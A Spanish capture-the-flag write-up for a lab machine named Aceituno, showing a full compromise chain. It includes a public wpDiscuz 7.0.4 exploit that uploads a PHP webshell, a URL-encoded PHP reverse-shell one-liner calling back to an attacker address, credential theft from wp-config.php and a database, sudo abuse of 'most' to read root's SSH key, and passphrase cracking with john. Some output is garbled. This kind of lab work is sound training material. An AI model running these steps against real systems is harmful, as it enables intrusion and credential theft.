

ACEITUNO



Ejecutando nmap detectamos varios puertos abiertos (22,80,443,3306)

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-04 16:15 CET
Nmap scan report for 192.168.16.28
Host is up (0.00056s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
|_ ssh-hostkeys:
|_ 256 0f:7d:a0:0a:ad:8f:f6:05:fc:69:f4:43:53:72:3b:b1 (ECDSA)
|_ 256 0a:02:48:06:90:21:90:15:e6:7d:09:83:63:a2:bd:19 (ED25519)
80/tcp    open  http     Apache httpd 2.4.59 ((Debian))
|_ http-generator: WordPress 6.5.2
|_ http-robots.txt: 1 disallowed entry
|_ /wp-admin/
|_ http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_ http-server-header: Apache/2.4.59 (Debian)
443/tcp   open  https    Apache httpd 2.4.59
|_ http-title: Apache2 Debian Default Page: It works
|_ http-server-header: Apache/2.4.59 (Debian)
3306/tcp   open  mysql    MySQL 5.5.5-10.11.6-MariaDB-0+deb12u1
mysql-info:
  Protocol: 10
  Version: 5.5.5-10.11.6-MariaDB-0+deb12u1
  Thread ID: 33
  Capabilities flags: 63486
  Some Capabilities: Support41Auth, LongColumnFlag, SupportsCompression, FoundRows, ConnectWithDatabase, Speaks41ProtocolOld, SupportsTransactions, IgnoreSigpipes, SupportsLoadDataLocal, DontAllowDatabaseTableColumn, InteractiveClient, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, ODBCClient, SupportsMultipleStatements, SupportsAuthPlugins, SupportsMultipleResults
  Status: Autocommit
  Ssls: "(gr)q~H~Pwbfwckp~V
  Auth Plugin Name: mysql_native_password
```

Será necesario añadir el dominio al archivo hosts.

```
> batcat /etc/hosts | grep -i aceituno
192.168.16.28    aceituno.thl
```

Inspeccionando el puerto 80 nos damos cuenta de varias cosas, la primera es que está alojado en wordpress y lo segundo es que en la entrada de blog hace referencia a un plugin con una versión desactualizada.

```
49 <link rel="stylesheet" id="wpdiscuz-frontent-css-css" href="http://aceituno.thl/wp-content/plugins/wpdiscuz/themes/default/style.css?ver=7.0.4" type="text/css" media="all" />
50 <style id="wpdiscuz-frontent-css-inline-css" type="text/css">
```

Buscando esa versión por la red encontramos varios scripts, en nuestro caso usamos [este](#). Ejecutamos el script indicando la url base + la url donde se ubica el plugin.

```
> python3 49967.py -u http://192.168.16.28/ -p 2024/04/23/hola-mundo/
-----
[-] Wordpress Plugin wpDiscuz 7.0.4 - Remote Code Execution
[-] File Upload Bypass Vulnerability - PHP Webshell Upload
[-] CVE: CVE-2020-24186
[-] https://github.com/hevox
-----

[+] Response length:[97782] | code:[200]
[!] Got wmuSecurity value: 328981387c
[!] Got wmuSecurity value: 1

[+] Generating random name for Webshell...
[!] Generated webshell name: reiescxswazyfoh

[!] Trying to Upload Webshell..
[+] Upload Success... Webshell path:url&quot;;&quot;http://aceituno.thl/wp-content/uploads/2025/02/reiescxswazyfoh-1739204056.4863.php&quot;;
```

Probamos la ejecución.

```
← → ↺ 🏠  aceituno.thl/wp-content/uploads/2025/02/ifofohnedszxa1-1739207132.5855.php?cmd=id
🔥 Exploit-DB 🔥 Google Hacking DB 📄 base64 | GTFOBins 💀 Online - Reverse Shel... 📁 Path Hijacking y Libra... 📧 Brainfuck Language -...
```

GIF689a; uid=33(www-data) gid=33(www-data) groups=33(www-data)

Procedemos a crear una reverse shell para una mayor comodidad.

OS: All Name: Search... Show Advanced

PHP exec
PHP shell_exec
PHP system
PHP passthru
PHP `
PHP popen
PHP proc_open
Windows ConPty
PowerShell #1
PowerShell #2

php%20-r%20%27%24sock%3Dsockopen%28%22192.168.16.37%22%2C9999%29%3Bsystem%28%22%2Fbin%2Fbash%20%3C%263%20%3E%263%20%3E%263%22%29%3B%27

Shell: /bin/bash Encoding: URL Encode

Raw Copy

aceituno.thl/wp-content/uploads/2025/02/fohofnedsxal-1739207132.5855.php?cmd=php-r%24sock%3Dsockopen('192.168.16.37'%2C9999)%3Bsystem('%2Fbin%2Fbash'<%263>%263'2>%263%20%3E%263%20%3E%263%22%29%3B%27)

Exploit-DB Google Hacking DB base64 GTF0Bins Online - Reverse Shel... Path Hijacking y Libra... Brainfuck Language... CyberChef Online syntax highlig... The image 'http://19... HackTricks | HackTric... Payload

```
> nc -lvnp 9999
listening on [any] 9999 ...
connect to [192.168.16.37] from (UNKNOWN) [192.168.16.28] 40586
whoami
www-data
```

Buscando por el sistema para poder realizar el escalado de privilegios, nos encontramos que tenemos permisos para leer el fichero wp-config.php. En el tenemos el usuario y contraseña que nos permite conectarnos vía myaql.

```
www-data@Aceituno:/var/www/html/wordpress$ cat wp-config.php | grep -i DB_USER -A 5 -B 5
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'wp_user' );

/** Database password */
define( 'DB_PASSWORD', 'Tomamoren0' );

/** Database hostname */
www-data@Aceituno:/var/www/html/wordpress$ |
```

Nos conectamos por mysql con los datos obtenidos.

```
Error 1045 (28000): Access denied for user 'wp_user@localhost'@'localhost' (using password YES)
www-data@Aceituno:/var/www/html/wordpress$ mysql -u wp_user -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 24312
Server version: 10.11.6-MariaDB-0+deb12u1 Debian 12

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+-----+
| Database |
+-----+
| information_schema |
| wordpress |
+-----+
```

Encontramos una base de datos un tanto inusual llamada pelopicopata y listamos todo lo que tiene, encontrando así el login del usuario aceituno.

```
MariaDB [wordpress]> show tables;
+-----+
| Tables_in_wordpress |
+-----+
| pelopicopata         |
| wp_commentmeta       |
| wp_comments          |
| wp_gwolle_gb_entries |
| wp_gwolle_gb_log     |
| wp_links             |
| wp_options           |
| wp_postmeta          |
| wp_posts             |
| wp_term_relationships|
| wp_term_taxonomy     |
| wp_termmeta          |
| wp_terms             |
| wp_usermeta          |
| wp_users             |
| wp_wc_avatars_cache  |
| wp_wc_comments_subscription|
| wp_wc_feedback_forms |
| wp_wc_follow_users   |
| wp_wc_phrases        |
| wp_wc_usersRated     |
| wp_wc_users_voted    |
+-----+
22 rows in set (0.000 sec)

MariaDB [wordpress]> select * from pelopicopata;
+-----+-----+
| usuario | contraseña |
+-----+-----+
| aceituno | ElSeñorDeLaNoche |
+-----+-----+
```

```
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,txt,md,php,zip,tar
[+] Timeout: 10s
=====
```

Starting gobuster in directory enumeration mode

```
=====
./html (Status: 403) [Size: 277]
./php (Status: 403) [Size: 277]
/index.php (Status: 301) [Size: 0] [-> http://aceituno.thl/]
/rss (Status: 301) [Size: 0] [-> http://aceituno.thl/feed/]
/login (Status: 302) [Size: 0] [-> http://aceituno.thl/wp-login.php]
/login.php (Status: 302) [Size: 0] [-> http://aceituno.thl/wp-login.php]
/0 (Status: 301) [Size: 0] [-> http://aceituno.thl/0/]
/feed (Status: 301) [Size: 0] [-> http://aceituno.thl/feed/]
/atom (Status: 301) [Size: 0] [-> http://aceituno.thl/feed/atom/]
/wp-content (Status: 301) [Size: 317] [-> http://aceituno.thl/wp-content/]
/p (Status: 301) [Size: 0] [-> http://aceituno.thl/pagina-ejemplo/]
/admin (Status: 302) [Size: 0] [-> http://aceituno.thl/wp-admin/]
/h (Status: 301) [Size: 0] [-> http://aceituno.thl/2024/04/23/hola-mundo/]
/wp-login.php (Status: 200) [Size: 7361]
/rss2 (Status: 301) [Size: 0] [-> http://aceituno.thl/feed/]
/license.txt (Status: 200) [Size: 19915]
/wp-includes (Status: 301) [Size: 318] [-> http://aceituno.thl/wp-includes/]
/P (Status: 301) [Size: 0] [-> http://aceituno.thl/pagina-ejemplo/]
/wp-register.php (Status: 301) [Size: 0] [-> http://aceituno.thl/wp-login.php?action=register]
/wp-rss2.php (Status: 301) [Size: 0] [-> http://aceituno.thl/feed/]
/H (Status: 301) [Size: 0] [-> http://aceituno.thl/2024/04/23/hola-mundo/]
/rdf (Status: 301) [Size: 0] [-> http://aceituno.thl/feed/rdf/]
/page1 (Status: 301) [Size: 0] [-> http://aceituno.thl/]
/pa (Status: 301) [Size: 0] [-> http://aceituno.thl/pagina-ejemplo/]
/readme.html (Status: 200) [Size: 7401]
/robots.txt (Status: 200) [Size: 112]
/' (Status: 301) [Size: 0] [-> http://aceituno.thl/]
/dashboard (Status: 302) [Size: 0] [-> http://aceituno.thl/wp-admin/]
/%20 (Status: 301) [Size: 0] [-> http://aceituno.thl/]
/ho (Status: 301) [Size: 0] [-> http://aceituno.thl/2024/04/23/hola-mundo/]
/wp-admin (Status: 301) [Size: 315] [-> http://aceituno.thl/wp-admin/]
/PA (Status: 301) [Size: 0] [-> http://aceituno.thl/pagina-ejemplo/]
/0000 (Status: 301) [Size: 0] [-> http://aceituno.thl/0000/]
```

Accedemos como aceituno y vamos a por la flag.

```
www-data@Aceituno:/var/www/html/wordpress$ su aceituno
Password:
aceituno@Aceituno:/var/www/html/wordpress$ |
```

```
aceituno@Aceituno:/var/www/html/wordpress$ cd
aceituno@Aceituno:~$ ls
user.txt
aceituno@Aceituno:~$ cat user.txt
aceituno@Aceituno:~$ |
```

Podemos ejecutar el comando most como root sin contraseña.

```
aceituno@Aceituno:~$ sudo -l
Matching Defaults entries for aceituno on Aceituno:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User aceituno may run the following commands on Aceituno:
    (root) NOPASSWD: /usr/bin/most
```

En nuestro caso, vamos a ir a por la clave privada de root por si pudiésemos descifrarla.

```

aceituno@Aceituno:~$ sudo /usr/bin/most /root/.ssh/id_rsa > id_rsa
aceituno@Aceituno:~$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABAQVNwfIr
sulKah6wYV7i/NAAAAEAAAAEAAAEXAAAB3NzaC1yc2EAAAADAQABAAQAC7ZLjoCWvQ
XxRgojyRlr6GA6GdrtrBwD5Z5tB7JvdrT2AE0G0uTccSaeFEzkPzIehiTSCM74Qra0IFB
Z9oD24zqoiCb7i2fyxlx4lhhL8ioVklS4qgwFqidxyCe0LG5rfiNIT7pbtoVrB293lTi59
gXDwdKLqbp93X1/jqde768qLn8UtxKIB/paoIHSvz0icYbbLWvmwz089kk40+pYe/P0Cm4

```

La desciframos.

```
> ssh2john id_rsa > hash_id_rsa
> john hash_id_rsa
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 3 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
blessed1 (id_rsa)
```

Vamos a por la flag de root.

```

Session completed.
> ssh -i id_rsa root@192.168.16.28
Enter passphrase for key 'id_rsa':
Linux Aceituno 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Apr 28 12:08:02 2024 from 192.168.0.108
root@Aceituno:~# ls
root.txt
root@Aceituno:~# cat root.txt

```